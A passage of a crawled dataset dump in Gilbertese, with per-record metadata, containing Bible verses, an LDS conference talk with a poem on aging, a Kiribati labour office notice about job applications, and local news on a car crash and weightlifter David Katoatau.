2:1919ao e a tia n aki nim ma Kristo, are atuun te rabwata ae e bwanin, are Ngaia ae e anga te korakora nakon te rabwata, ao E kamanenai toma n ri ma iaia bwa bwain tauani bwain te rabwata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/19","date":"2013-12-08T16:51:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163066444\/warc\/CC-MAIN-20131204131746-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000006914138794}","num_words":56,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.375,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N te tai teuana, ao E tei Iesu i rarikin te nama are Kennetareta, ao a karibwaa aomata ibukini kan ongoraaaia n ana taeka te Atua. 2E noori uowa te booti bwa a kakoroaki i mataniwiin te nama; akea kaaia ake taan akawa bwa a a tia n aerake, ao a kume ni kaitiaki aia karaun. 3E toka i aon are e tewaana, are ana booti Timon, ao E tuangnga bwa e na kabetia nako ni kararoaa teutana ma mataniwiin te nama. E tekateka i nanon te booti ao E reireiia aomata maiai. 4Ao ngke E a toki n taetae, ao E taku nakon Timon, Naako n ae e marawa ao kabwakai ami karaun iai bwa kam aonga ni kona. 5E kaeka Timon ao e taku, Te tia Reirei, ti a bora ni karaun man te moa n tairiki ni karokoa te ngaina ma akea korara! Ma N na kabwakai karaun n am taeka. 6Ao ngke a a tia ni kabwakai karaun, ao a bae iika aika moan te bati; ao ngke a kan uruaki aia karaun iai, 7ao a weteia raoia ake a mena n te booti are tewaana bwa a na kawariia ni buokiia. Ao a roko uaakekei ao a kaoni booti ake uowa ao a kaan ii nako. 8Ngke e noora aron aei Timon Betero, ao e bwaka ni bobaraaki i rarikini waen Iesu, ao e taku, Te Uea, naako mai irou, bwa te aomata ae I buaakaka ngai! 9E taekina aei ibukina bwa e miimii ma aomata ni kabaneia ake raona, n iika ake a reke ake a tia n anai, 10ao a miimii naba n aei Iakobo ma Ioane ake natin Tebetaio bwa ngaiia ake raon Timon. Ao E taku Iesu nakon Timon, Tai maaku; bwa man te tai aei ao ane a na reke aomata bwa konam. 11Ao ngke a a tia ni kaaerakei aia booti nako aon te aba, ao a kiitan aia bwai nako ao a ira Iesu. 12Ngke E mena Iesu n te kaawa teuana, ao e roko te aomata ae e buta rabwatana n te reebera; ngke e noora Iesu, ao e katorobubua ni bobaraaki i rarikini waena ao e butiia ni kaangai, Te Uea, ngkana nanom, ao Ko konaa ni kaitiakai. 13E arora nako baina Iesu ao E riingnga, ao E taku, Bon nanou; ko na itiaki. Ao e a rina naba n toki reeberana. 14Ao E kamatoaa ana taeka nakoina bwa e na aki tuanga temanna; ao E taku, Ko na nako ni kaotiko nakon te ibonga, ao anga te karea ibukini kaitiakam n ai aron are e tua Mote, bwa te bwai ni kakoaua nakoia aomata. 15Ma e a tanoata nako riki rongorongon Iesu; ao a bootaki aomata aika mwaiti bwa a na ongoraa ao a na kamaiuaki man aorakiia. 16Ma E kamwaawaa Iesu mai buakoia aomata ao E nako n tataro n taabo ake aki maekanaki. 17Ao n te bongina, ngke E tabe n reirei Iesu, ao iai Bwaritaio ma taan reirei taekan te tua ake a tekateka ni kaan ma Ngaia. A roko mani kaawan nako Kariraia ao Iutaia, ao mai Ierutarem; ao iai irouna mwaakan te Atua are E konaa iai ni kakamaiu. 18Ao nooria, iai aomata tabeman ake a uota te aomata ae e nakibaina i aon te nne ni wene, ao a ukoukora te anga are e na konaa ni karokoaki ma ni kaweneaki iai i matan Iesu; 19ma ngke aakea aia anga ae a kunea are a na karokoa iai ibukina bwa a mwaiti aomata, ao a tamwarake nako aon taubukin te auti; a kauka taubukina ao a nnaia ri kaaki ma nnena ni wene nako buakoia aomata i matan Iesu. 20Ngke E noori aia onimaki Iesu, ao E taku, Teuaei, a kabwaraaki am bure. 21Ao taani koroboki ma Bwaritaio a titiraki i nanoia ni kaangai: Antai Teuae taetae ni bakanatua aei? Antai ae e konaa ni kabwarai buure bwa ti te Atua? 22Ngke E atai nanoia Iesu, ao E kaekaia ni kaangai, E aera ngkai kam titiraki i nanomi, 23e ngaa ae e beebete riki, atongan ae e kaangai, A kabwaraaki am bure? Ke ae e kaangai, Tei rake ao nakonako? 24Bwa kam aonga n ataia bwa E konai ni kabwarai buure i aonnaba Natin te Aomata. E taku nakon te nakibaina, I taku nakoim, Tei rake tabeka nnem ni wene ao nako ni mwengam. 25Ao e tei rake naba ngkekei i mataia ao e tabeka nnena are e wene iai, ao e nako ni mwengana, ni kamoamoaa te Atua. 26A bane ni miimii aomata, ao a kamoamoaa te Atua ma nanoia aika on n te maaku. A taku, Ti a noori baika a kamiimii n te bong aei. 27I mwiin aei, ao E oti nako Iesu, ao E noora te tia anai taekiti ae arana Rewi bwa e tekateka n aobitin te taekiti; ao E taku nakoina, Ko na iriirai. 28Ao ngaia e kiitani bwaai nako ao e tei rake n iriira Iesu. 29Ao e karaoa te amwarake ae e abwaabwaki Rewi n ana auti; ao a mwaiti taan anai taekiti ma aomata tabemwaang ake a roko n amwarake. 30Ao Bwaritaio ma taani koroboki a ngureakiniia ana reirei Iesu, ao a taku, E aera ngkai kam amwarake ao ni mooi ni bootaki ma taan anai taekiti ma aomata aika buaakaka? 31E kaekaia Iesu ao E taku, A aki kainnanoa te tia katoki aoraki akana marurung, ma ti akana aoraki. 32I aki roko bwa N na weteia akana raoiroi, ma I roko bwa N na weteia akana buaakaka bwa a na rairi nanoia. 33Ao ngaiia a taku nakon Iesu, A bwaabwaina te aki-mamatam ao te tataro ana reirei Ioane, ao ai aroia naba aia reirei Bwaritaio, ma am reirei a amwaamwarake ao a momooi. 34E kaeka Iesu ao E taku, Kam kaantaningaia ake a kaoaki bwa iruwa nakon te mare bwa a na aki mamatam ngkai raoia te tia iein? 35Ane a na roko boong, ane e na uotaki nako iai te tia iein mai irouia, ao anne ngkanne aia tai n aki mamatam. 36E atonga naba te taeka ni kabootau nakoia ae e kaangai: akea ae e raeua te kunnikai ae e boou n anaa motina ni bonota iai raeuakin te kunnikai ae e mane; ngkana e karaoia ao e urua iai te kunnikai are e boou, ao te moti are e boou e aki bootau ma te kunnikai are e mane. 37Ao akea ae e atoa te wain ae e boou nako nanoni nneia aika kuniia maan aika bwai nikawai; ngkana e atoia, ao te wain ae e boou e na uru nneia ao e na bwaro, ao a na uruaki nneia. 38Ma e riai te wain ae e boou n atoaki nakoni nneni wain aika boou aika kuniia maan. 39Ao akea ae e a tia ni mooi n te wain nikawai, ae e na kan nima te wain ae e boou; bwa ngke e tia ni mooi n are e a bwai nikawai, ao e taku, E kangkang ae e a bwai nikawai.\nRUKA 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/5","date":"2013-12-12T02:54:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164359940\/warc\/CC-MAIN-20131204133919-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1167,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"b@rco Paul (fancybarco)Somewea in dA zooo\nb@rco's Favorite Movies\n..bon au favorite since i was a little boy back home..e rangin kakamataku..da first thing i wish to do is 2 buy a cd of its soundtrack..\naiooo bon akea iaona bwa a rangin ninikoria kaaina..ma tii buana e rangin teinibaba iai nei Princess bwa e teke ana kai n ting iroun ana tabonibai..ai bon te kamea raoi..eaoria bwa tao e bon aroia kaain sparta..ahaha..sorry mah bad...","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/community.flixster.com\/user\/fancybarco","date":"2014-03-10T07:48:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010693428\/warc\/CC-MAIN-20140305091133-00067-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.8652048111,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.8652048110961914, \"sps_Latn_score\": 0.03777407109737396, \"pcm_Latn_score\": 0.02609342522919178, \"jam_Latn_score\": 0.013522239401936531}","num_words":75,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.85,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:44Bwa bwaai ni kabane ake a koreaki ngkoa a koreaki ibukin reireiara, bwa e aonga n reke iroura te kaantaninga n taekan te taotaonaki n nano ma te kauunga nano n te Baibara. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/4","date":"2014-03-16T16:21:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678703030\/warc\/CC-MAIN-20140313024503-00083-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000063180923462}","num_words":49,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 KORINTO 11:2121I mamaa n taekinna b'a ti a tia ni mamara nakoni karaoani baikanne; ma ngkana iai te baene e ninikoria iai te aomata, I taetae ni baba!, ao I ninikoria naba ngai. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/11\/21","date":"2017-02-21T15:26:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170741.49\/warc\/CC-MAIN-20170219104610-00406-ip-10-171-10-108.ec2.internal.warc.gz","language":"gil","language_score":0.9999308586,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999308586120605}","num_words":48,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:1818B'a ngkana e reke te kakab'aiaki n te Tua, ao nanona ngkanne b'a e aki reke n te taeka n akoi; ma te Atua E angan Aberaam i bukin ana taeka n akoi. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/18","date":"2017-03-30T07:02:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218193284.93\/warc\/CC-MAIN-20170322212953-00647-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999932050704956}","num_words":49,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N 1992 imwin mwakuriu inanon ruaiwa te ririki n riki bwa te tia ibuobuoki nakoia Tengaun ma Uoman ao 22 te ririki bwa te membwa n te Tengaun ma Uoman, I a tia n roko n te ririki ae 68. I namakina te kan waaki ni korea te bwai ae I atonga. \"Te Ototo ae Tuai Tia\" Moanakin te koroboki anne e waaki ni kangai:\nN te tairiki teuana iai au iango ae kangai\nTe iango ae korakora ao n nano.\nE roko ngke I a rangi ni kua,\nI a kua n nako ni matu.\nN na rangi n tabetabe n te ngaina\nAo n iangoa tokiu\nAio te iango:\nNgke I uarereke, I tuai roko n 68!\nI kona n nakonako n aki waekiekie;\nAkea marakin angau.\nI kona ni wareka terainna uoua te tai.\nAo ni manga okiria riki.\nI kona ni mwakuri n aoa aika akea tokiia\nAo ni kanganga tokin ikeikeu.\nAo bwaai akanne ngkai I aki kona ni karaoi\nI tararuai raoi inanon ataeiu.\nNgkana I aki kona ni kaoki taian ririki,\nNgke arona bwa au bwai te rinerine,\nN na aki kaibibita rorou ni kara n riki n ataei,\nE rangi ni mwaiti ae N na kabua.\nI onimakinai ni waakinako,\nNi kitana rikirakeu e ngae ngke e kakukurei.\nTe bwai ae N na kabua ngkana I oki rikaki\nBoni ngaia are I ataia.\nTebwina te ririki imwiina, I kan reita tabeua taeka nakon te boem anne:\nA waetata ni bwakanako tebwina te ririki ma antai ae e ataia\nAo bon ririki ni korakai ni maraki..\nBebeu te biti e kamaunaa waekiekieu;\nI a manga nakonako raoi.\nTeuana te biti e taua ni kamatoa riin roroau—\nTe karikibwa ae kamimi!\nE katoka korakoran te boorio;\nI mena ibuakoia aika a kamoamoa.\nE ataaki bwa I a kara.\nBwaai akanne a na aki nakoraoi.\nTii mwakorou ae rikirake ni korakora\nAu konabwai ni mwamwaninga.\nKo titiraki, \"I uringko?\"\nEng, akea kaokorom ma are ngke I moan nooriko.\nNgkai tai un\nNgkana I aki kona n uringa aram.\nN na kukurei bwa I a tia n reiakini bwai tabeua\nI aki kan ataia,\nMa te roro ni kara e a tia n uoti koaua aika a kakawaki\nAre karika rikiraken te Tamnei.\nMai buakon kakabwaia ake a roko,\nTe bwai ae tamaroa ni maiu\nBon te iraorao ao te karaunano\nI karekea mairoun buu ae tangiraki.\nNatira a bane ni mareaki raoi,\nMa oin aia utu,\nMa natiia ao tibuia,\nA waekoa rikirakeia.\nI tuai ni bita au iango teutana\nTi na rikirake ni kara\nTi na rikirake, bukina bwa mai iai\nE na roko atakin te koaua.\nKo titiraki \"Tera ae na uotia te tai ae na roko?\nE na tera tokiu?\"\nTi na waaki nako n aki ngurengure.\nTitiraki ngkana I a tokara au ka 88!\nAo n te ririki are nako I reitii taeka aikai:\nTitiraki ngkana I a tokara au ka 88!\nA waetata n nako ririki.\nI nakonako, I waekiekie, I taua te oko,\nAo ngkai I a buti n te kaintekateka ae wira.\nI matu n te tai teuana ma teuana,\nMa e teimatoa mwakan te nakoanibonga.\nMa ribakin baika I kabwaka iai\nI a rikirake n te maiu n Tamnei.\nI mawananga ni kabuta te aonaaba inanon te mirion te maire\nAe raka riki iaon teniua te mirion.\nAo rinanon kanakobwana n te tiataraite,\nE tanoata bwanau ni katobibia te aonaba\nI kona ngkai n taetae ma te koaua\nBwa I ataia ao n tangira te Uea.\nI kona ni kakoaua n aiaroia ake ngkoa\nNgkai I taekina ana taeka aika a tabu.\nI ataa te bwai are e namakinna i Ketetemwane\nE bon kakoauakina.\nI ataia bwa E karaoia ibukira;\nAkea riki raora temanna.\nI ataia bwa E na manga roko\nMa te mwaaka ao n te mimitong.\nI ataia bwa N na manga Nooria riki\nNgkana I mate\nN nna katorobubua irarikin waena aika ikoaki\nN na namakina mimitongin rokona.\nAu taetae ae maraara, n te bwanaa ae ruru N na kangai,\n\"Au Uea, Atuau, I ataia.\"1\nAo I bon ataia!\nWintoon ara auti mai buki e kona n noraki te onaroka ni ue ao taian kai aika a mena i mataniwin te karanga ae uarereke. Teuana oon te auti e tena ma te onaroka ae onrake n te English aiwi. Angin ririki te aiwi aio e a tia n riki bwa ngaoia manikiba aika aki toki n tangitang. Taian ngao n te kai aio a bon katanaki raoi mairouia taian man aika kameanti, te rakuun ao taian katamwa ake a roko n te tairiki ni kakae kanaia.\nN te bong teuana iai te kakiriwe n te aiwi. Te tang ae kaota te bwara n nano ao te kanganga e a karokoia 8 ke 10 mannikiba man tabo aika uakaan ni uaia n tang ni karongoa. I a nora bukin te kakiriwe. Te naeta e ruo rikaki man te aiwi ao n tinetine imatan te wintoo n ae tau raroana mairou n te aro are N na kona ni katikia nako. Mwakoron rabwatan te naeta are mai nuuka iai uoua tibutauna—e oti kakoauakina bwa e kabwauti uoman natin te manikiba man te ngao. Ti tuai n noora aekakin anne inanon 50 n ririki inanon maekara ni mweengara. Bon ti tetaina norakin aio ni maiu—ke tao anne are ti iangoia.\nTabeua te bong ao manga iai naba te kanganga, n te tai aio te kai are rabuna te oo are kawakinaki iai ara kamea. Ti ongo naba te aekaki n tang ae titebo ao rokoia naba mannikiba man taabo aika kan nako iai. Ti a ataa te Tia urubwai. Tibu te mwane ae tamwarake nako aon ana tabo te kamea ao e a manga katika naba te naeta are tabe n taua te tina ni mannikiba are mena n te ngao ao e tiringnga.\nI a bon taku i bon irou. \"Tera ae ae e a riki? E a manga niniaki riki te Onaroka are i Eten?\"\nE a roko n au iango taian taeka ni kauring ae a taekinaki irouia burabeti. Ti na aki mano n tainako man ana kairarang te tia kakaitara, e ngae ngkana mweengara. Ti riai ni kamanoia ara ataei.\nTi maeka n te aonaba ae moan te kanganga are kakamakui bwaai n tamnei. Te Utu te bwai ni mwakuri n te tai aio ao n te tai ae akea tokina a mena iaan ekakinakoia man taian mwaaka aika a aki noraki. Te tia kakaitara ae mwamwakuri. Ana iango bon karikan te ikoaki. Ngkana e kona ni kamamara ao n urua te utu, e na bon tokanikai.\nAomata Aika Itiaki Ni Bong Aika Kaitira a ataa te tia ae bongana n te Utu ao ni kakorakora ni maeka n te aro anne n te aro are te kanganga e aki kona n ninia nako taian mweenga. Ti kunea te kamanoaki ao te kawakinaki ibukira ao natira man karineakin taian berita are ti maiuakinna man karaoan te ongeaba are tangiraki irouia taan ririmwin Kristo.\nE taku Itaia, \"Ana mwakuri te raoiroi bon te rau, ao reken te raoiroi te rau n nano ao ae akea tokina.\"2\nTe rau anne e beritanaki n te kaotioti are e katanoata te Uea bwa ngkana ti tauraoi ti na aki maaku.3\nKorakoran mwakan te nakoanibonga e anganaki te aba ni kamanoi mweenga ao kaaina. Te Tama iai irouna te kariaiakaki ao te katabeaki n reireiniia natina ao ni kakabwaia ao ni katauraoi ibukin taian otenanti n te euangkerio ao e riai ni kabane ana kamanomano te nakoanibonga. E na kaota te tangira ao koron te kakaonimaki ao ni karinerine nakon te tina n te aro bwa naati a na nora te tangira.\nI a tia n ataia bwa te onimaki bon te mwaaka ni koaua tiaki te tataneiai ke te kakoaua. Iai bwaai tabeua aika mwaaka riki nakon te tataro ni kakaonimaki iroun te tina ae raoiroi.\nReireiniko ao reireiniia kain am utu aron ana bwaintangira te Tamnei are Raoiroi ao Ana Mwakuri ni Kamaiu Iesu Kristo. Ko na aki karaoa te mwakuri ae akea tokina ae korakora nakon are inanon mweengam.\nTi ataia bwa ngaira ataei aika tamnei irouia ara karo i karawa. Ti mena ikai n te aonaba ni karekei rabwatara aika mamate ao ni kataaki. Ngaira aika iai rabwatara aika mamate iai mwakara iaoia ake akea.4 Ti inaomata n rinerine n are ti kan karaoia ao n anaa ao n rinei ara mwakuri, ma ti aki inaomata n rinea mwiin ara mwakuri. A na bon tiku n aroia.\nTe rinerine e kabwarabwaraaki ni booki aika tabu bwa te aro n rinerine, are nanona bwa ti kona n rinerine i marenan te raoiroi ao te buakaka. Te un e kakaea kamanenakin inaomatara n rinerine n te aro ae aki eti.\nE reireiniira boki aika tabu bwa aomata nako a na mwakuri inanon tua ao reirei nakon baika a na riki ni kaineti ma te inaomata n rinerine n aron are I a tia anganna, bwa aomata nako a na bon bukintaeka ibukin aia bure n te bong ni motikitaeka.5\nE reirei Aramwa bwa te Uea E bon aki kona n taraa te bure ma ni kariaia karoana naba teutana.\"6 N te aro bwa e na ota aio, ti na kaokoroa te bure ma te tia bure.\nTe bwai ni kakairi ngke a uota nako matan te Tia Kamaiu te aine ae kuneaki ni wenenibure, e bon bure. E kamauna te keiti n ti nimaua te taeka \"Nako ao tai manga bure.\"7 Anne te tamnei n Ana Mwakuri.\nTe taotaonannano bon te tamaroa, ma, n aron ni kabane te tamaroa, ngkanae e onikia nakon te waiti. Tiriai ni karaurau n rinanoan te \"bwai ni kamwane\" bwa ti rawa n reke iai. Te kariaia are reke man kariaiakan kamamaraeakin tuan te aba n okiokira kaetakin te tua ibukin te tangako e na aki kakerikaka mwiina ae rangi n rawawata are na reke man uruakan Ana tua te Atua ibukin tuan te itiaki.\nTi bane ni bungiaki ma Ootan Kristo te kairi ae anainano are kariaia te aomata n tatabemaniia n ataa te eti man te kairua. Te bwai are ti karaoia ma te ota arei ao ti kanga ni kaeka nakon kairiri ni maeka ma te raoiroi bon mwakoron katakin te aroaro.\n\"Bwa noria, a bane n anganaki aomata Tamnein Kristo bwa aonga n ataa te raoiroi man te buakaka, ma ngaia are N na kaota nakoimi kawain te motikitaeka, bwa bwaai ni kabane ake a kakao nakon karaoan te raoiroi man kairoro nakon kakoauan Kristo, e bon roko mani mwaakan ana bwai n tangira Kristo, ma ngaia are kam na ataia ma te atatai ae kororaoi, bwa bon mairoun te Atua.\"8\nNgaira n tatabemaniira ti na tiku n tauraoi ni kaeka nakon te namakin ae kakawaki ao Ana Kairi te Tamnei are Raoiroi. Iai Ana kawai te Uea n nurakina te ataibwai ae itiaki inanon ara iango n anai nanora, ni kairira n reireiniira, ni kauringira. Natin te Atua mwane ao aine n tatabemaniia a kona n ataa te bwai ae a kan ataia ngkai. Reiakina ni karekea ao ni mwakuri iaon te namakin are kakawaki ao taian kaotioti.\nBwaai ni kabane ake I a tia ni wareki ao n reirei ao ni karekea, teuana te koaua ae moan te kakawaki ao n tabu bwa N na anga bon au koaua ae onoti ibukin Iesu Kristo. E maiu, I ataia E maiu, Ngai Ana Tia kakoaua Mai Irouna I kona ni kakoaua. Bon ara Tia Kamaiu, Te Tia Kaboira. N aio I kakoaua n aran Iesu Kristo, amen.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.lds.org\/general-conference\/2013\/04\/these-things-i-know?lang=gil","date":"2017-04-26T09:38:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121216.64\/warc\/CC-MAIN-20170423031201-00152-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1922,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoia ara Customers ake aia moan tai n kabaei araia. Kam kauringaki ikai bwa kam na bane n uoti ami Originals ma ami copy documents n aron:\n- Birth Certificate\/Passport ao Statutory Declaration form ibukia ake iai te kangaanga nakon araia\n- Qualification & Transcript\n- Working Reference ngkana e kainanoaki\nKam a kauringaki ikai bwa ngkana iai ami bwai aikai inanon baimi ao kama kona n anganaki ami NER application form ibukin mwaawa ake a teke n te Notice Board ao n te Website (vacancies). Te bwai ae rangi n kakawaki ibukin te kabaeara bwa ngkana ko na submit am NER application form ao ko na riai n kaota am Original nakon te staff are e serve nakoim n te tai anne iaon baike ko kaairii ma am application form n te aro bwa e na bon kakoauaki raoi ma ngkana akea am original ao ko na riai n taraia raoi bwa e na riai n tia n Certify am document akanne man te Court.\nKam kauringai naba ikai ara Customers bwa are Screening e bon boboto iaon te Clearance man PSO ke ara PQR are ti katekea n te Notice Board. Ko na riai nab n ataia bwa gnkana akea miin am reirei ke am bongi n bung ke e lack am working experience ao anne te kangaanga bwa e kona naba n katukaki (Screen Out) am Application Form.\nKamataata tabeua nakoia taan kabae ara\nKo na riai ni kanoa am form ao n taraia raoi bwa ko na Sign am application form anne ao sign naba iroun te Staff are e butimwaiko n te tai anne. Kaoti am Original nakon te tia kabae ara ngkana arona bwa e aki Certify am documents man te Court.\nIbukiia akea a tangira te Job Description\nKam kauringaki ikai bwa akea ngkai te Hard Copy ae ti kakanakoa ibukin karekean katotona. Kam kauringaki ni kabane bwa kam na uoti ami Flash drive ke n anga ami email ibukin karekean katoton te JD are ko kainanoia. Ko kona naba n download am copy man ara website aei n te link aei: https:\/\/www.labour.gov.ki\/index.php\/vacancies\/post-descriptions\nKam rabwa n ami taotaonaki n nano","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/labour.gov.ki\/index.php\/11-front-page\/12-mtc-front-page","date":"2017-09-20T18:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687428.60\/warc\/CC-MAIN-20170920175850-20170920195850-00316.warc.gz","language":"gil","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000089406967163}","num_words":353,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nKabuanibwai n te Kawai.\nE toki maeun te rorobuaka ae Tekammwa Taburaa, 23 ana ririki ni maeu, n karangainan te Katenibong 13\/01\/2015 imwin untaban ana kaa ma te burukam are n te kootiweei imarenan Bairiki ma Nanikaai.\nN maroroon te Kiribati Updates ma te Security (e aki kan kaotaki arana) are e teina te tiarun (saloon) kaa aio, ao e taekinna bwa bon kawain Tekammwa ni kaea Bairiki mai Bikenibeu ike ea riki iai te kabuanibwai aio. E taekinna riki te Security aio bwa n ongoraana irouia kaain Nanikaai ake a bon noora te bwai ae riki ao a taekinna bwa e rangi n kabubuti te kaa aio ike ea ti aki nako naba ana kabwakee n te kawai are imarenan Bairiki ma Nanikaai ike ea untaba naba ma te burukam are n iteran te nama.\nE ngae n anne ao imwin maroroon am beebwa ni kaongora aio ma kainnaban Ten Tekemmwa ae nei Tibora, ao e taekinna Tibora bwa bon iai kaain ana kaa Tekammwa ae a bwatintia irouna n te tai anne bwa uoman aine ao temanna riki te mwane are nanona bwa aman kain te kaa, ma aki rangi ni kakaiaki ikoakiia taian batintia. Te kaa are a uotia n te tai aio bon tiaki aia kaa ma a urenti (rent) man teuana te tabo n rental ae e mena I Banraeaba. E reitia riki n taekinna Tibora bwa ai nimaua ana ririki Tekammwa n uouota te kaa inanon ana tai n manging ma ai tibwa aio te tai are e uota te kaa ike ea kabuanibwai iai maeuna.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2015\/01\/16\/kurati-ao-e-kabuanibwai-maeuna\/","date":"2017-11-23T09:10:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00721.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":263,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nE a karairaki ana Golden Boy Kiribati ae e rangi ni kinaaki mai imwiin reken ana koora n te kauaaba n takakaro ake a karaoaki I tinanikun Kiribati ae David Katoatau n te Kaabong ae nako 15 n Tebetembwa ibukin motirawana ikai.\nE taekinna David Katoatau nakon te Kiribati Updates bwa aio roko are aekakin are mai imwaina are e roko bwa e na wakina teuana te burokuraem ae te Oceania Talent Intensified Program ae teuana mai ibuakon ana waaki te botaki n takakaro ae te weightlifting.\nE taku riki bwa n okina naba aio ao e na rangi ni maan bwa e na tiku ikai inanon teuana te namwakaina ike e na waaki iai ma ataein te reirei JSS ao kauarinan ibukin te takakaro ae te tabe rawawata.\nAio te programme are e karaoaia teuaei ni moa man 2015 ao are e na toki n 2018 mai ikai ao n tokin te burokuraem aio ao e nang ko na ngkanne n oki rikaaki David Katoatau n manga reitanako ongona n tibwatibwaia nakoia kaain Kiribati ake taan takakaro n te taberawawata.\nN titirakinakina iroun te Kiribati Updates bwa e uara waakin ana kataneiai ikekei ma raona ake a tiku ngkai imwiina ao e taku bwa e bon rangi n nakorai ao n tabetai ao e a manga onea mwiin te coach ngkana e nakonako ni manga kairiia kaain te kuura n takakaro ake a tiku ikekei.\nIai ana iango David ngkana e okira Kiribati n 2018 bwa e na karikirakea riki te takakaro ae te taberawawata nakoia te roronrikirake ao ni anga kona n riki bwa te tia kaira ngaia aron te takakaro ke te kataneiai aika ana karaoaki n rokona ikai.\n\"imwaain nakomaiu ao ti bon nako ni kaea te kauaaba ae e karaoaki I Aotiteria ao I rangi ni kukurei bwa Ruben ao Taretiita a bane ni moanna n aia kiraati are a mena iai\"\nN na tiku ikai ao nna manga nako n okira New Calesonia n 15 n te namwakaina ae e na roko.\nN tiku ikai ao I rangi n kukurei ni kaitibo ma au utu tamau ma tinau tariu ao mwaneu ao ai raraou ake a tiku imwiiu.\nI bon aki kakaotia are nna roko nakoia au utu ao bon akea naba ae butimwaeai ma a rangi ni mimi ngkai I a bon roko naba ao akea au taeka ae nna kaoti bon te inga ao te kamauri ae e rangi ni korakora irouia ngkai I a bon kaoti naba , a taku bwa a mii ao e koaua 